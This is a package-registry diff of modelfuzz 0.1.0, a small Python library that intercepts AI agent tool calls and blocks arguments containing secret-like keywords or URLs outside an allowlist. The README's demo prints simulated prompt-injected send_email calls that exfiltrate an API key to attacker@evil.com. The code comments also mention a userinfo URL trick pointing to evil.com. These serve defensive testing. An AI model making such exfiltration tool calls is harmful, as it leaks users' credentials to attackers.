modelfuzz 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- modelfuzz/__init__.py +17 -0
- modelfuzz/cli.py +27 -0
- modelfuzz/decorator.py +45 -0
- modelfuzz/engine.py +36 -0
- modelfuzz/exceptions.py +7 -0
- modelfuzz/rules.py +108 -0
- modelfuzz-0.1.0.dist-info/METADATA +146 -0
- modelfuzz-0.1.0.dist-info/RECORD +11 -0
- modelfuzz-0.1.0.dist-info/WHEEL +4 -0
- modelfuzz-0.1.0.dist-info/entry_points.txt +2 -0
- modelfuzz-0.1.0.dist-info/licenses/LICENSE +21 -0
modelfuzz/__init__.py
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
"""ModelFuzz: a lightweight shield for intercepting agent tool calls."""
|
|
2
|
+
|
|
3
|
+
from modelfuzz.decorator import shield_tool
|
|
4
|
+
from modelfuzz.engine import PolicyEngine, PolicyResult
|
|
5
|
+
from modelfuzz.exceptions import ModelFuzzBlockError
|
|
6
|
+
from modelfuzz.rules import SensitiveDataFilter, URLAllowList, Violation
|
|
7
|
+
|
|
8
|
+
__all__ = [
|
|
9
|
+
"shield_tool",
|
|
10
|
+
"ModelFuzzBlockError",
|
|
11
|
+
"SensitiveDataFilter",
|
|
12
|
+
"URLAllowList",
|
|
13
|
+
"Violation",
|
|
14
|
+
"PolicyEngine",
|
|
15
|
+
"PolicyResult",
|
|
16
|
+
]
|
|
17
|
+
__version__ = "0.1.0"
|
modelfuzz/cli.py
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
"""Command-line interface for ModelFuzz."""
|
|
2
|
+
|
|
3
|
+
import typer
|
|
4
|
+
|
|
5
|
+
from modelfuzz import __version__
|
|
6
|
+
|
|
7
|
+
app = typer.Typer(help="Runtime guardrails for AI agents.")
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
@app.callback()
|
|
11
|
+
def cli() -> None:
|
|
12
|
+
"""Runtime guardrails for AI agents."""
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
@app.command()
|
|
16
|
+
def version() -> None:
|
|
17
|
+
"""Print the installed ModelFuzz version."""
|
|
18
|
+
typer.echo(__version__)
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
def main() -> None:
|
|
22
|
+
"""Entry point for the ``modelfuzz`` console script."""
|
|
23
|
+
app()
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
if __name__ == "__main__":
|
|
27
|
+
main()
|
modelfuzz/decorator.py
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
"""Decorators for shielding agent tool functions."""
|
|
2
|
+
|
|
3
|
+
import functools
|
|
4
|
+
from collections.abc import Callable
|
|
5
|
+
from typing import ParamSpec, TypeVar
|
|
6
|
+
|
|
7
|
+
from modelfuzz.engine import PolicyEngine
|
|
8
|
+
from modelfuzz.exceptions import ModelFuzzBlockError
|
|
9
|
+
from modelfuzz.rules import SensitiveDataFilter
|
|
10
|
+
|
|
11
|
+
P = ParamSpec("P")
|
|
12
|
+
R = TypeVar("R")
|
|
13
|
+
|
|
14
|
+
# Default policy engine for the decorator
|
|
15
|
+
default_policies = [SensitiveDataFilter()]
|
|
16
|
+
_default_engine = PolicyEngine(default_policies)
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
def shield_tool(engine: PolicyEngine | None = None) -> Callable[[Callable[P, R]], Callable[P, R]]:
|
|
20
|
+
"""Wrap a tool function so every call is intercepted before execution.
|
|
21
|
+
|
|
22
|
+
Args:
|
|
23
|
+
engine: The policy engine to use for validation. If None, a default
|
|
24
|
+
engine with a SensitiveDataFilter is used.
|
|
25
|
+
|
|
26
|
+
Returns:
|
|
27
|
+
A decorator that wraps the function.
|
|
28
|
+
"""
|
|
29
|
+
actual_engine = engine if engine is not None else _default_engine
|
|
30
|
+
|
|
31
|
+
def decorator(func: Callable[P, R]) -> Callable[P, R]:
|
|
32
|
+
@functools.wraps(func)
|
|
33
|
+
def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
|
|
34
|
+
# Check all arguments against the policy engine
|
|
35
|
+
for arg in list(args) + list(kwargs.values()):
|
|
36
|
+
result = actual_engine.run(arg)
|
|
37
|
+
if not result.allowed:
|
|
38
|
+
raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
|
|
39
|
+
|
|
40
|
+
print(f"ModelFuzz Intercepted: {func.__name__}")
|
|
41
|
+
return func(*args, **kwargs)
|
|
42
|
+
|
|
43
|
+
return wrapper
|
|
44
|
+
|
|
45
|
+
return decorator
|
modelfuzz/engine.py
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
"""Policy engine for ModelFuzz."""
|
|
2
|
+
|
|
3
|
+
from collections.abc import Callable
|
|
4
|
+
from dataclasses import dataclass
|
|
5
|
+
|
|
6
|
+
from modelfuzz.rules import Violation
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
@dataclass
|
|
10
|
+
class PolicyResult:
|
|
11
|
+
"""The result of a policy engine run."""
|
|
12
|
+
|
|
13
|
+
allowed: bool
|
|
14
|
+
reason: str | None = None
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
class PolicyEngine:
|
|
18
|
+
"""Runs a list of policies against a call."""
|
|
19
|
+
|
|
20
|
+
def __init__(self, policies: list[Callable[[object], Violation | None]]) -> None:
|
|
21
|
+
self.policies = policies
|
|
22
|
+
|
|
23
|
+
def run(self, call: object) -> PolicyResult:
|
|
24
|
+
"""Run all policies in order. Short-circuit on first violation.
|
|
25
|
+
|
|
26
|
+
Args:
|
|
27
|
+
call: The call data to check.
|
|
28
|
+
|
|
29
|
+
Returns:
|
|
30
|
+
A PolicyResult object indicating if the call is allowed.
|
|
31
|
+
"""
|
|
32
|
+
for policy in self.policies:
|
|
33
|
+
violation = policy(call)
|
|
34
|
+
if violation:
|
|
35
|
+
return PolicyResult(allowed=False, reason=violation.reason)
|
|
36
|
+
return PolicyResult(allowed=True)
|
modelfuzz/exceptions.py
ADDED
modelfuzz/rules.py
ADDED
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
"""Security rules for ModelFuzz."""
|
|
2
|
+
|
|
3
|
+
from dataclasses import dataclass
|
|
4
|
+
from urllib.parse import urlparse
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
@dataclass
|
|
8
|
+
class Violation:
|
|
9
|
+
"""Represents a policy violation."""
|
|
10
|
+
|
|
11
|
+
rule_name: str
|
|
12
|
+
reason: str
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class URLAllowList:
|
|
16
|
+
"""A policy that ensures URLs are on an allowlist and blocks parsing tricks."""
|
|
17
|
+
|
|
18
|
+
def __init__(self, allowed_domains: list[str]) -> None:
|
|
19
|
+
self.allowed_domains = allowed_domains
|
|
20
|
+
|
|
21
|
+
def __call__(self, url: str) -> Violation | None:
|
|
22
|
+
"""Check if a URL is allowed.
|
|
23
|
+
|
|
24
|
+
Args:
|
|
25
|
+
url: The URL to check.
|
|
26
|
+
|
|
27
|
+
Returns:
|
|
28
|
+
A Violation object if the URL is blocked, otherwise None.
|
|
29
|
+
"""
|
|
30
|
+
try:
|
|
31
|
+
parsed = urlparse(url)
|
|
32
|
+
domain = parsed.netloc
|
|
33
|
+
|
|
34
|
+
# Block userinfo tricks (e.g., http://api.internal.com@evil.com)
|
|
35
|
+
if "@" in domain:
|
|
36
|
+
return Violation(
|
|
37
|
+
rule_name="URLAllowList",
|
|
38
|
+
reason=f"URL contains userinfo trick: {url}",
|
|
39
|
+
)
|
|
40
|
+
|
|
41
|
+
# Extract the hostname without port
|
|
42
|
+
hostname = domain.split(":")[0]
|
|
43
|
+
|
|
44
|
+
# Check for exact match or valid subdomain
|
|
45
|
+
is_allowed = any(
|
|
46
|
+
hostname == allowed or hostname.endswith(f".{allowed}")
|
|
47
|
+
for allowed in self.allowed_domains
|
|
48
|
+
)
|
|
49
|
+
|
|
50
|
+
if not is_allowed:
|
|
51
|
+
return Violation(
|
|
52
|
+
rule_name="URLAllowList",
|
|
53
|
+
reason=f"URL domain not in allowlist: {hostname}",
|
|
54
|
+
)
|
|
55
|
+
|
|
56
|
+
return None
|
|
57
|
+
|
|
58
|
+
except Exception:
|
|
59
|
+
return Violation(
|
|
60
|
+
rule_name="URLAllowList",
|
|
61
|
+
reason=f"Invalid URL: {url}",
|
|
62
|
+
)
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
class SensitiveDataFilter:
|
|
66
|
+
"""A policy that blocks strings containing sensitive keywords."""
|
|
67
|
+
|
|
68
|
+
def __init__(self, sensitive_keywords: list[str] | None = None) -> None:
|
|
69
|
+
self.sensitive_keywords = (
|
|
70
|
+
[k.lower() for k in sensitive_keywords]
|
|
71
|
+
if sensitive_keywords
|
|
72
|
+
else ["secret", "password", "api_key"]
|
|
73
|
+
)
|
|
74
|
+
|
|
75
|
+
def __call__(self, data: object) -> Violation | None:
|
|
76
|
+
"""Check if data contains sensitive keywords.
|
|
77
|
+
|
|
78
|
+
This method recurses into nested dicts, lists, and tuples.
|
|
79
|
+
|
|
80
|
+
Args:
|
|
81
|
+
data: The data to check.
|
|
82
|
+
|
|
83
|
+
Returns:
|
|
84
|
+
A Violation object if sensitive data is found, otherwise None.
|
|
85
|
+
"""
|
|
86
|
+
return self._check_recursive(data)
|
|
87
|
+
|
|
88
|
+
def _check_recursive(self, data: object) -> Violation | None:
|
|
89
|
+
if isinstance(data, str):
|
|
90
|
+
lower_data = data.lower()
|
|
91
|
+
for keyword in self.sensitive_keywords:
|
|
92
|
+
if keyword in lower_data:
|
|
93
|
+
return Violation(
|
|
94
|
+
rule_name="SensitiveDataFilter",
|
|
95
|
+
reason=f"String contains sensitive keyword: '{keyword}'",
|
|
96
|
+
)
|
|
97
|
+
elif isinstance(data, dict):
|
|
98
|
+
for value in data.values():
|
|
99
|
+
violation = self._check_recursive(value)
|
|
100
|
+
if violation:
|
|
101
|
+
return violation
|
|
102
|
+
elif isinstance(data, (list, tuple)):
|
|
103
|
+
for item in data:
|
|
104
|
+
violation = self._check_recursive(item)
|
|
105
|
+
if violation:
|
|
106
|
+
return violation
|
|
107
|
+
|
|
108
|
+
return None
|
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: modelfuzz
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Runtime guardrails for AI agents.
|
|
5
|
+
Project-URL: Homepage, https://github.com/higagan/modelfuzz
|
|
6
|
+
Project-URL: Repository, https://github.com/higagan/modelfuzz
|
|
7
|
+
Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
|
|
8
|
+
Author-email: Gagan Deep <gagan.ping@gmail.com>
|
|
9
|
+
License: MIT
|
|
10
|
+
License-File: LICENSE
|
|
11
|
+
Keywords: ai-agents,guardrails,llm,prompt-injection,security
|
|
12
|
+
Classifier: Development Status :: 3 - Alpha
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
+
Classifier: Operating System :: OS Independent
|
|
16
|
+
Classifier: Programming Language :: Python :: 3
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
22
|
+
Requires-Python: >=3.10
|
|
23
|
+
Requires-Dist: typer>=0.12
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
|
|
26
|
+
# ModelFuzz
|
|
27
|
+
|
|
28
|
+
[](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
|
|
29
|
+
[](https://opensource.org/licenses/MIT)
|
|
30
|
+
[](https://www.python.org/downloads/)
|
|
31
|
+
[](https://github.com/astral-sh/ruff)
|
|
32
|
+
|
|
33
|
+
**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## The Problem
|
|
38
|
+
|
|
39
|
+
LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
|
|
40
|
+
|
|
41
|
+
## The Solution
|
|
42
|
+
|
|
43
|
+
ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
|
|
44
|
+
|
|
45
|
+
## Quickstart
|
|
46
|
+
|
|
47
|
+
```python
|
|
48
|
+
from modelfuzz import shield_tool
|
|
49
|
+
|
|
50
|
+
@shield_tool()
|
|
51
|
+
def send_email(to_address: str, subject: str, body: str) -> None:
|
|
52
|
+
smtp.send(to_address, subject, body)
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
|
|
56
|
+
|
|
57
|
+
Need custom policies? Build your own engine:
|
|
58
|
+
|
|
59
|
+
```python
|
|
60
|
+
from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
|
|
61
|
+
|
|
62
|
+
engine = PolicyEngine([
|
|
63
|
+
SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
|
|
64
|
+
URLAllowList(allowed_domains=["api.mycompany.com"]),
|
|
65
|
+
])
|
|
66
|
+
|
|
67
|
+
@shield_tool(engine=engine)
|
|
68
|
+
def fetch_url(url: str) -> str:
|
|
69
|
+
...
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
## The Demo
|
|
73
|
+
|
|
74
|
+
**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
|
|
75
|
+
|
|
76
|
+
Run it yourself with `uv run python demo.py`:
|
|
77
|
+
|
|
78
|
+
```text
|
|
79
|
+
============================================================
|
|
80
|
+
MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
|
|
81
|
+
============================================================
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
============================================================
|
|
85
|
+
PART 1: THE BREACH (UNGUARDED)
|
|
86
|
+
============================================================
|
|
87
|
+
|
|
88
|
+
[!] UNGUARDED AGENT: Executing tool with malicious payload...
|
|
89
|
+
[>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
|
|
90
|
+
|
|
91
|
+
[!] Simulating email send...
|
|
92
|
+
To: attacker@evil.com
|
|
93
|
+
Subject: Stolen Data
|
|
94
|
+
Body: The user's API_KEY is sk-12345...
|
|
95
|
+
|
|
96
|
+
============================================================
|
|
97
|
+
🚨 BREACH
|
|
98
|
+
============================================================
|
|
99
|
+
Data exfiltrated to attacker@evil.com
|
|
100
|
+
============================================================
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
============================================================
|
|
104
|
+
PART 2: THE SHIELD (MODELFUZZ ACTIVE)
|
|
105
|
+
============================================================
|
|
106
|
+
|
|
107
|
+
[+] GUARDED AGENT: Executing tool with malicious payload...
|
|
108
|
+
[>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
|
|
109
|
+
|
|
110
|
+
[+] ModelFuzz is intercepting the call...
|
|
111
|
+
|
|
112
|
+
[✓] ModelFuzz caught a violation:
|
|
113
|
+
Reason: String contains sensitive keyword: 'secret'
|
|
114
|
+
|
|
115
|
+
============================================================
|
|
116
|
+
🛡️ MODELFUZZ BLOCKED
|
|
117
|
+
============================================================
|
|
118
|
+
Sensitive data exfiltration stopped.
|
|
119
|
+
============================================================
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
## How It Works
|
|
123
|
+
|
|
124
|
+
- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
|
|
125
|
+
- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
|
|
126
|
+
- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
|
|
127
|
+
|
|
128
|
+
## Installation
|
|
129
|
+
|
|
130
|
+
```bash
|
|
131
|
+
pip install modelfuzz
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Or with [uv](https://github.com/astral-sh/uv):
|
|
135
|
+
|
|
136
|
+
```bash
|
|
137
|
+
uv add modelfuzz
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
## Contributing
|
|
141
|
+
|
|
142
|
+
Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
|
|
143
|
+
|
|
144
|
+
## License
|
|
145
|
+
|
|
146
|
+
MIT — see [LICENSE](LICENSE) for details.
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
modelfuzz/__init__.py,sha256=jicNiTSTTZlBobtmTtUMMY4CyPRAKAaCSo_roXkXvps,487
|
|
2
|
+
modelfuzz/cli.py,sha256=wQJjog4s2Py_geEVK0amJLJdoTUzdn83w2V7c_mqkec,484
|
|
3
|
+
modelfuzz/decorator.py,sha256=ScLKzGZKqvzG_zhVzPrgUfAa6JQvhjA1eufVzPCj8LA,1513
|
|
4
|
+
modelfuzz/engine.py,sha256=vBf6KRBhOMU5JDgjwjp0DSUhE5BwFJx21_Vk0FJsmkU,961
|
|
5
|
+
modelfuzz/exceptions.py,sha256=TXPtrzcezCnM8jtPh8QmPUJutGopNQuAtZnlb9AzU84,141
|
|
6
|
+
modelfuzz/rules.py,sha256=iuc21mqjDG5IwwSulGRoVIis-vs2QnOOS5B_Da_1xSE,3320
|
|
7
|
+
modelfuzz-0.1.0.dist-info/METADATA,sha256=yvmPNt5-OLGuCBymLP9rYZG-bhtZhkxLrc6LONude8E,6124
|
|
8
|
+
modelfuzz-0.1.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
|
|
9
|
+
modelfuzz-0.1.0.dist-info/entry_points.txt,sha256=g-z7ANvPY_P7coKxceYTDF0MRQTfaBi587dHS_vUvSc,49
|
|
10
|
+
modelfuzz-0.1.0.dist-info/licenses/LICENSE,sha256=FVwneC9rHn-shE8veEYAWY99e5-KnBKag76f_TOrs78,1067
|
|
11
|
+
modelfuzz-0.1.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Gagan Deep
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|